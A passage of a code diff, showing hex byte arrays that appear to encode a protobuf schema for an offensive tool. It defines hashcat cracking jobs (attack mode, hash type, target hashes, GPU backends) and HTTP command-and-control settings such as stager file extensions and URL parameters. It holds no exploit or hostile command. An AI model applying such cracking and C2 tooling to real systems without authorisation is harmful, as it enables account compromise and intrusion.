0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, - 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, - 0x12, 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, - 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, - 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, - 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xfd, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, - 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, - 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, - 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, - 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, - 0x12, 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, - 0x30, 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, - 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, - 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, - 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, - 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, - 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, - 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, - 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, - 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, - 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, - 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, - 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, - 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, - 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, - 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, - 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, - 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, - 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, - 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, - 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, - 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, - 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, - 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, - 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, - 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, - 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, - 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, - 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, - 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, - 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, - 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, - 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, - 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, - 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, - 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, - 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, + 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x4c, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, + 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, + 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, + 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x08, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x69, 0x6e, + 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x69, 0x6e, + 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x46, + 0x69, 0x6c, 0x65, 0x45, 0x78, 0x74, 0x65, 